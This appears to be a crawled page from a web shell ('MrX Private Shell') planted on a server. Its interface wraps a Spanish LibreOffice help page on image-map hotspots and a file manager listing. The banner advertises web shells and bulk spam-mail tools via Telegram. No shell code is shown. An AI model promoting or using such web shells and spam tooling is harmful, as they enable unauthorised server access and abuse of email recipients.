__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Adición de zonas activas pulsables a las imágenes</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores de todos los módulos" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
<a id="bm_id3150502"></a><meta itemprop="keywords" content="imagen interactiva, editor">
<meta itemprop="keywords" content="editores, editor de imágenes interactivas">
<meta itemprop="keywords" content="imágenes, imagen interactiva">
<meta itemprop="keywords" content="imágenes, imagen interactiva">
<meta itemprop="keywords" content="zonas activas, añadir a las imágenes">
<meta itemprop="keywords" content="URL,en imágenes">
<h1 id="par_idN10631" dir="auto">
<a id="imagemap"></a>Adición de zonas activas pulsables a las imágenes</h1>
  <p id="par_idN1064F" class="paragraph" dir="auto">Una imagen interactiva permite adjuntar URL a áreas concretas, denominadas «zonas activas», sobre una imagen del documento. Una imagen interactiva es un grupo de una o más zonas activas.</p>
  <p id="par_idN1066C" class="paragraph" dir="auto">Se pueden dibujar tres tipos de zonas activas: rectángulos, elipses y polígonos. Al pulsar en una zona activa, el URL se abre en el marco o la ventana del navegador que se indique. También se puede especificar el texto que se muestra cuando el puntero del ratón reposa sobre la zona activa.</p>
  <h2 id="par_idN10677" dir="auto">Para agregar una zona activa seleccionable a una imagen</h2>
  <ol itemprop="HowTo" itemscope="true" itemtype="http://schema.org/HowToSection" dir="auto">
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN1067E" class="paragraph" dir="auto">Coloque el cursor donde desee colocar la imagen interactiva en el documento.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN10682" class="paragraph" dir="auto">Vaya a <span class="emph">Insertar ▸ Imagen</span>, seleccione e inserte un mapa de bits.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN1068A" class="paragraph" dir="auto">Con la imagen seleccionada, diríjase a <span class="menuitem">Herramientas ▸ Imagen interactiva</span> para abrir el <a target="_top" href="es/text/shared/01/02220000.html">editor de imágenes interactivas</a>, que mostrará la imagen seleccionada y contiene las herramientas de edición de las zonas activas.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN106A0" class="paragraph" dir="auto">Con ayuda de los iconos del Editor de imágenes interactivas, dibuje una forma de zona activa, por ejemplo un rectángulo, sobre la imagen que está en el fondo.</p>
    <p id="par_idN106A3" class="paragraph" dir="auto">Dispone de ayuda ampliada para las funciones de cada icono cuando activa las descripciones emergentes ampliadas en <span id="swlnsystextsharedguideimagemapxhp_1" class="switchinline"><span hidden="true" id="MACtextsharedguideimagemapxhp_1" class="MAC"><span class="emph">LibreOffice ▸ Preferencias</span></span><span hidden="true" id="defaulttextsharedguideimagemapxhp_1"><span class="emph">Herramientas ▸ Opciones</span></span></span><span class="emph"> ▸ LibreOffice ▸ Generales</span>.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN106AB" class="paragraph" dir="auto">Especifique el URL que aparecerá en un navegador web cuando el usuario pulse en la zona activa.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN106AF" class="paragraph" dir="auto">También puede escribir el texto que se mostrará como ayuda emergente al situar el puntero del ratón sobre la zona activa.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN106B3" class="paragraph" dir="auto">Pulse en el botón Aplicar para que los cambios surtan efecto y cierre el Editor de imágenes interactivas.</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
    <p id="par_idN106B7" class="paragraph" dir="auto">Guarde el documento en formato LibreOffice o HTML.</p>
   </li>
  </ol>
  <p id="par_idN106BA" class="paragraph" dir="auto">La imagen interactiva se puede guardar como archivo y cargarse en un servidor web, por ejemplo.</p>
  <div class="embedded">
<a id="imagemap"></a>



<h3 id="hd_id3152805" dir="auto">Imagen interactiva</h3>
<p id="par_id3154685" class="paragraph" dir="auto">Una imagen interactiva es un elemento gráfico o marco vinculado a una referencia. Es posible pulsar en áreas definidas de la imagen o el marco para ir a un destino (<a target="_top" href="es/text/shared/00/00000002.html#url">URL</a>), un enlace establecido en el área. Las áreas de referencia, así como los URL enlazados y el texto correspondiente que aparece cuando se posa el puntero del ratón sobre estas, se definen mediante el <a target="_top" href="es/text/shared/01/02220000.html">editor de imágenes interactivas</a>.</p>
<p id="par_id3153178" class="paragraph" dir="auto">Existen dos tipos de imagen interactiva. Una imagen interactiva de lado cliente se procesa en el equipo local, el cual obtiene la imagen desde Internet; una imagen interactiva de lado servidor se procesa remotamente en el servidor, el cual proporciona la página <a target="_top" href="es/text/shared/00/00000002.html#html">HTML</a> en Internet. En el procesamiento de lado servidor, pulsar sobre una imagen interactiva envía las coordenadas relativas del puntero sobre la imagen al servidor; a continuación, un programa dedicado en este responde a la señal. En el procesamiento de lado cliente, pulsar en una zona activa de la imagen activa un URL, como si se tratara de un enlace de texto común y corriente. El URL aparece bajo el puntero del ratón al navegar por la imagen interactiva.</p>
<p id="par_id3150740" class="paragraph" dir="auto">Como las imágenes interactivas se pueden utilizar de diversas formas, es posible almacenarlas en formatos distintos.</p>

<h3 id="hd_id3146874" dir="auto">Formatos de imágenes interactivas</h3>
<p id="par_id3145153" class="paragraph" dir="auto">En líneas generales, las imágenes interactivas se dividen entre las que se analizan en el servidor (es decir, el proveedor de Internet) y las que se analizan en el navegador web del equipo del lector.</p>
</div>
  <div class="embedded">
<a id="ss_imagemaps"></a>



<h3 id="hd_id3152881" dir="auto">Imágenes interactivas de lado servidor</h3>
<p id="par_id3153057" class="paragraph" dir="auto">Las imágenes interactivas de lado servidor se muestran al lector como una imagen o un marco en la página. Si pulsa sobre la imagen interactiva con el ratón, las coordenadas de la posición relativa se envían al servidor. Con la ayuda de un programa auxiliar, el servidor entonces determina el próximo paso que deberá seguirse. Hay varios métodos incompatibles para definir este proceso, pero los dos más habituales son:</p>

<ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3147502" class="listitem" dir="auto">Servidor W3C (CERN) HTTP (tipo de formato: MAP - CERN)</p>
  </li>
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3154011" class="listitem" dir="auto">Servidor NCSA HTTP (tipo de formato: MAP - NCSA)</p>
  </li>
</ul>
<p id="par_id3149483" class="paragraph" dir="auto">LibreOffice crea imágenes interactivas para ambos métodos. Seleccione el formato en la lista <span class="emph">Tipo de archivo</span> del cuadro de diálogo <span class="emph">Guardar como</span>, en el <span class="emph">Editor de imágenes interactivas</span>. Se crearán archivos separados que deben cargarse en el servidor. Pregunte a su proveedor o administrador de redes qué tipo de imagen interactiva admite el servidor y cómo acceder al programa de evaluación.</p>
</div>
  <div class="embedded">
<a id="cs_imagemaps"></a>



<h3 id="hd_id3152418" dir="auto">Imagen interactiva de lado cliente</h3>
<p id="par_id3151290" class="paragraph" dir="auto">El área de la imagen o el marco en la que el lector puede pulsar con el ratón se indica mediante la aparición del <a target="_top" href="es/text/shared/00/00000002.html#url">URL</a> enlazado cuando el ratón se coloca por encima. La interacción se almacena en una capa por debajo de la imagen en sí y contiene información acerca de las regiones con referencias. La única desventaja de las imágenes interactivas de lado cliente consiste en que no funcionan en navegadores web obsoletos; esta desventaja desaparecerá a medida que transcurra el tiempo.</p>
<p id="par_id3149664" class="paragraph" dir="auto">When saving the ImageMap, select the file type <span class="emph">SIP - StarView ImageMap</span>. This saves the ImageMap directly in a format which can be applied to every active picture or frame in your document. However, if you just want to use the ImageMap on the current picture or frame, you do not have to save it in any special format. After defining the regions, simply click <span class="emph">Apply</span>. Nothing more is necessary. Client Side ImageMaps saved in <a target="_top" href="es/text/shared/00/00000002.html#html">HTML</a> format are inserted directly into the page in HTML code.</p>
</div>
 </div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/shared/guide/imagemap.xhp" target="_blank">/text/shared/guide/imagemap.xhp</a></p>
<p dir="auto">Title is: Adición de zonas activas pulsables a las imágenes</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
aaa_start.html File 7.35 KB 0644
accessibility.html File 9.35 KB 0644
active_help_on_off.html File 6.87 KB 0644
activex.html File 9.33 KB 0644
assistive.html File 8.15 KB 0644
auto_redact.html File 9.74 KB 0644
autocorr_url.html File 10.32 KB 0644
autohide.html File 8.1 KB 0644
background.html File 6.44 KB 0644
border_paragraph.html File 9.28 KB 0644
border_table.html File 9.17 KB 0644
breaking_lines.html File 8.14 KB 0644
builtin_help.html File 12.61 KB 0644
change_title.html File 5.56 KB 0644
chart_axis.html File 6.15 KB 0644
chart_barformat.html File 6.35 KB 0644
chart_insert.html File 10.73 KB 0644
chart_legend.html File 6.28 KB 0644
chart_title.html File 6.91 KB 0644
classification.html File 16.19 KB 0644
cmis-remote-files-setup.html File 22.95 KB 0644
cmis-remote-files.html File 14.83 KB 0644
collab.html File 15.43 KB 0644
configure_overview.html File 5.56 KB 0644
contextmenu.html File 5.53 KB 0644
convertfilters.html File 115.79 KB 0644
copy_drawfunctions.html File 7.29 KB 0644
copytable2application.html File 7.31 KB 0644
copytext2application.html File 8.95 KB 0644
csv_params.html File 52.56 KB 0644
ctl.html File 9.93 KB 0644
data_addressbook.html File 9.53 KB 0644
data_dbase2office.html File 8.96 KB 0644
data_enter_sql.html File 7.98 KB 0644
data_forms.html File 7.65 KB 0644
data_im_export.html File 11.67 KB 0644
data_new.html File 5.43 KB 0644
data_queries.html File 7.17 KB 0644
data_register.html File 7.13 KB 0644
data_report.html File 8.25 KB 0644
data_reports.html File 11.21 KB 0644
data_search.html File 5.63 KB 0644
data_search2.html File 10.34 KB 0644
data_tabledefine.html File 8.53 KB 0644
data_tables.html File 8.31 KB 0644
data_view.html File 5.85 KB 0644
database_main.html File 7.69 KB 0644
dev_tools.html File 16.93 KB 0644
digital_signatures.html File 14.99 KB 0644
digitalsign_receive.html File 8.96 KB 0644
digitalsign_send.html File 14.33 KB 0644
doc_autosave.html File 10.32 KB 0644
doc_open.html File 8.86 KB 0644
doc_save.html File 10.47 KB 0644
dragdrop.html File 9.65 KB 0644
dragdrop_beamer.html File 9.89 KB 0644
dragdrop_gallery.html File 7.66 KB 0644
dragdrop_graphic.html File 8.06 KB 0644
dragdrop_table.html File 7.94 KB 0644
edit_symbolbar.html File 7.36 KB 0644
email.html File 6.92 KB 0644
error_report.html File 7.26 KB 0644
export_ms.html File 6.87 KB 0644
fax.html File 8.58 KB 0644
filternavigator.html File 7.3 KB 0644
find_attributes.html File 9.14 KB 0644
flat_icons.html File 5.75 KB 0644
floating_toolbar.html File 11.42 KB 0644
fontwork.html File 11.92 KB 0644
formfields.html File 9.28 KB 0644
gallery_insert.html File 11.82 KB 0644
graphic_export_params.html File 17.53 KB 0644
groups.html File 10.49 KB 0644
hyperlink_edit.html File 9.48 KB 0644
hyperlink_insert.html File 7.17 KB 0644
hyperlink_rel_abs.html File 10.62 KB 0644
imagemap.html File 13.09 KB 0644
import_ms.html File 10.63 KB 0644
insert_bitmap.html File 15 KB 0644
insert_graphic_drawit.html File 13.7 KB 0644
insert_specialchar.html File 9.06 KB 0644
integratinguno.html File 6.51 KB 0644
keyboard.html File 51.55 KB 0644
labels.html File 8.93 KB 0644
labels_database.html File 8.23 KB 0644
language_select.html File 21.74 KB 0644
line_intext.html File 11.89 KB 0644
lineend_define.html File 6.32 KB 0644
linestyle_define.html File 7.01 KB 0644
linestyles.html File 6.43 KB 0644
lotusdbasediff.html File 31.13 KB 0644
macro_recording.html File 10.49 KB 0644
main.html File 25.2 KB 0644
manage_templates.html File 16.02 KB 0644
measurement_units.html File 7.09 KB 0644
microsoft_terms.html File 11.14 KB 0644
ms_doctypes.html File 6.26 KB 0644
ms_import_export_limitations.html File 15.09 KB 0644
ms_user.html File 14.94 KB 0644
navigator.html File 6.71 KB 0644
navigator_setcursor.html File 7.08 KB 0644
navpane_on.html File 5.24 KB 0644
numbering_stop.html File 10.09 KB 0644
openpgp.html File 15.36 KB 0644
pageformat_max.html File 6.76 KB 0644
paintbrush.html File 14.25 KB 0644
palette_files.html File 11.06 KB 0644
pasting.html File 8.59 KB 0644
pdf_params.html File 67.4 KB 0644
print_blackwhite.html File 12.56 KB 0644
print_faster.html File 7.44 KB 0644
protection.html File 12.83 KB 0644
redaction.html File 11.34 KB 0644
redlining.html File 7.45 KB 0644
redlining_accept.html File 8.25 KB 0644
redlining_doccompare.html File 7.99 KB 0644
redlining_docmerge.html File 7.29 KB 0644
redlining_enter.html File 9.78 KB 0644
redlining_navigation.html File 6.77 KB 0644
redlining_protect.html File 6.76 KB 0644
redlining_versions.html File 5.8 KB 0644
round_corner.html File 5.8 KB 0644
scripting.html File 21.23 KB 0644
space_hyphen.html File 8.69 KB 0644
spadmin.html File 8.97 KB 0644
standard_template.html File 15.1 KB 0644
start_parameters.html File 46.46 KB 0644
startcenter.html File 10.56 KB 0644
tabs.html File 14.58 KB 0644
template_manager.html File 31.01 KB 0644
text_color.html File 6.78 KB 0644
textmode_change.html File 7.04 KB 0644
undo_formatting.html File 9.17 KB 0644
usingthemes.html File 8.26 KB 0644
version_number.html File 5.15 KB 0644
viewing_file_properties.html File 6.81 KB 0644
workfolder.html File 7.05 KB 0644
xforms.html File 8.77 KB 0644
xsltfilter.html File 8.09 KB 0644
xsltfilter_create.html File 14.42 KB 0644
xsltfilter_distribute.html File 7.4 KB 0644
Filemanager